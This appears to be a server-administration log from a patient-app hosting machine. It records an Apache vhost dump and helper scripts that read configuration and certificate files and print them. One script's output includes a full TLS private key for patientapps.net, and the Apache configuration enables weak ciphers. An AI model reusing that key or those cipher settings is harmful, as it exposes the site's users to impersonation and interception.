         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-09 11:44:33: 

PUT: /tmp/pkp500411

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-09 11:44:33: 

chmod 755 /tmp/pkp500411; /tmp/pkp500411; rm /tmp/pkp500411

2025-10-09 11:44:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_net.conf	1409
<VirtualHost *:80>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>







2025-10-09 11:44:33: 

PUT: /tmp/pkp333505

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-09 11:44:33: 

chmod 755 /tmp/pkp333505; /tmp/pkp333505; rm /tmp/pkp333505

2025-10-09 11:44:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt	5377
71:e0:34:8a:ad:27:e5:3d:9e:84:8e:5a:7e:38:3a:dd

-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBn/Z2BBkz5S7wtdYCjacgJBCMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA5MTA0NjAxWhcNMjYwMTA3MTA0NjAwWjAaMRgwFgYDVQQD
Ew9wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCybVMm17ecDb1x2k90H7ApXRlYQsVexjsiumSp4yPSpFQVbKvNNrb0ERpsfxhT
sZPKR1hH1dbW5c61zPN4w8Z9VpdHvMFV+J7HsnPVvyHLshH+8xrkSs5N9AxGH0hJ
ZxLyW7HFm4voIOXEVchtVoz7RQ3PB3owZnKd9A/iTD2ysqbNx7XW1B5EVBpyw5f0
z/Jq7ZLK+PqCd2RrszUg/q5IC3e3zflgUv/3W4uNuu04+mMe9j/TbQtnwWVZ6gf2
MDiH2doYq2cymuys30FL4jGxC0JlrBGr6uqMG7uoGKPH+IPGy9Xxt0m8kJGJjrpv
CiFYSumk4EFAYjyK0EDZjB55AgMBAAGjggIyMIICLjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFItGU6iAxe2jDiLLQ+bYKm5QymKiMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPcGF0aWVudGFwcHMubmV0ghN3
d3cucGF0aWVudGFwcHMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNjcuY3JsMIIBAgYKKwYB
BAHWeQIEAgSB8wSB8ADuAHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGZyMl67wAABAMARjBEAiAqrI21y6UAledNDAkFqvKCnvkYm1oLX2szJ4Y+
7y3M/AIgNxa9X/OlvoaMSIGFxhRti10y2So1I7Mh06ipv663aMwAdQCWl2S/VViX
rfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZnIyXsnAAAEAwBGMEQCID87Gx9Q
2c5DcdLYmV2OaguRukVXp2cRraeVyuM19UqVAiBvGz62+lXJ/MkyCtryZBtmHK6D
xJWAy9X483SAgrDsCjANBgkqhkiG9w0BAQsFAAOCAQEAew9rungjdlePgQSMx7vn
Ndhav4uIiQY9D30vCg1Nbeyc96w2bL1HSfJV7OONQKkurEPSFKpOyBR1DBFZQ/Pm
aIZhxO2rsOZIcb6z6DKGFGHIw+0tMnGSpEP2eAyqBTU9WzeU3GeLFMPCVQ9k4jZ0
4EUbIM8fvPzfvVRPOslRRJ+QaPH27c9EvkFIYlyOpqkl1m2nXTzWjJECZcaQSEtW
bC5hMqb7LtLgDtOhXb04bLJZsLdj5R1P1ubPVN7LrwuG+d8rFRMf90yVY5ys+nNs
thacCchYfsM0U+PvF1XAQ/snIwEMA3fZBRjkFV6pa0Uge0ELZaHyUOs+gdjojcDX
QQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCybVMm17ecDb1x
2k90H7ApXRlYQsVexjsiumSp4yPSpFQVbKvNNrb0ERpsfxhTsZPKR1hH1dbW5c61
zPN4w8Z9VpdHvMFV+J7HsnPVvyHLshH+8xrkSs5N9AxGH0hJZxLyW7HFm4voIOXE
VchtVoz7RQ3PB3owZnKd9A/iTD2ysqbNx7XW1B5EVBpyw5f0z/Jq7ZLK+PqCd2Rr
szUg/q5IC3e3zflgUv/3W4uNuu04+mMe9j/TbQtnwWVZ6gf2MDiH2doYq2cymuys
30FL4jGxC0JlrBGr6uqMG7uoGKPH+IPGy9Xxt0m8kJGJjrpvCiFYSumk4EFAYjyK
0EDZjB55AgMBAAECggEAfejF38gkClxrzjb3EIP4BQhshSsBKmMKgfQ0auodclyB
9WhtR/APZOXY1q1NVmoeV4THGFIfPCCJISOSwCqvG+2J7ZaWe/to2JTmRvSMfbiY
GGgnFuhu8vV/38/da+bvqNTp+v9L2C+21DiQqg+Ehx/woaKuKA9zXGFJADE67KkV
CutWBhGLvERA1ZZe/j10qdFdjcPZUxD5jMdRWFPyc0KRmCejJwgcxq/L2tdjv3dK
D2JPApAtlmVfKqDeBvUrxr3A67c1ECNTthE+Nls2OmYhiqxMoLeb9L0cgufE1WBF
zgBYFXYOVSJIxIm3PLCBAMTmWg4fd9WSHI+9ZNKYPQKBgQDiNe9vO8D7mrR/lTH/
n8UF3DLqkOgZI5Csp6mHxir0nefVWFMq0Svswk0xJAKqcpSgIursQXV4Gqnb0unH
OjpYralVKKEq94QQesojyoGOWGyU67ntMjjSrOYFm4x9y2UYbF2cIG9C8CeMjBWS
+MME+hQjr86cxCv3oq+lxCkCmwKBgQDJ7H8+RF6AksMNvpdJsQuu1dOs7meSPFpB
vUTElAHQpCv89n4ECK1qwJBflzWIBlq5/FMTSYXlzIkthDBTM5vrKAErqJqNaCx6
IdYH/brisk84s13OYbnF1X6g+aznQfIyc89bUFkMocATpiuY+1BRay8lCm2BtiKb
fgHZ0G56ewKBgQCwOVJI9mT13WSGC8WCnYXQdeWYhMC7bNB1ILxaUJAANs93jbJk
pcUxUYDvKl2FSXPteKZI3QnVQfhXjuyeTwdLNCa5d8huf5p7eBznWwgoy0vzi9wx
I7HOtfEQJ0iAayZbq3gVe9MRc6Nrw2m/MFpFE0kDMB+mUtDpvuxVGAbWxwKBgQC/
ILT8aliNGN2518p5vTRSxCD9UhgE6k2AZjd+Xp4tMAhXA7YZ+WC0aBr/8C+CVolv
++9ilThBYM4DoFjhmDsgZhhdi9TmvlFDNV3S6I8J3z9vaxACtqvSH5ghpNLNfrVS
nh4Kz83KUBxwPNyNjGvk9TCFvg4TNiQhzC7STiEUmwKBgC+j4Zy9Kiiq1Eg2MWDX
Y9Yb5T+Yl6u/hRNr4H7TV3hYOeGd1Q6/5cntI82WMQfdVq5OZwSo/glPzUzZiYwb
+rOhoDteq2Y+V04TVkuT9vreVKG/IbN9NyoVaIcVlNOuk9tZ+h8hBRYGIEE/zldV
yD9LiAHStiEhsbULmWEYB7TY
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-09 11:46:15: Establishing a connection
2025-10-09 11:46:22: Establishing a connection
2025-10-09 11:46:22: 

PUT: /tmp/pkp820410

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-09 11:46:23: 

runuser -l bind -s /bin/bash -c '/tmp/pkp820410; rm /tmp/pkp820410'

2025-10-09 11:46:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
